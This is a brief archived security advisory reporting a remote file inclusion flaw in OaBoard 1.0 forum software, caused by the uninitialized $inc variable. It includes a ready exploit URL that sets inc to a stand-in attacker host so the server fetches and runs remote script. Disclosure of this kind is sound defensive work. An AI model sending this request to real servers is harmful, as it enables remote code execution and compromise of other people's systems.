TUCoPS :: Web BBS :: etc :: b06-2605.htm

OaBoard 1.0 Remote File inclusion
OaBoard 1.0 Remote File inclusion
OaBoard 1.0 Remote File inclusion



OaBoard version 1.x have remote file inclusion .=0D
Variables $inc isn't initialized in the include()=0D
http://host/oaboard/forum.php?inc=http://evil_script/=0D 
Hessam-x (www.hessamx.net) 

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH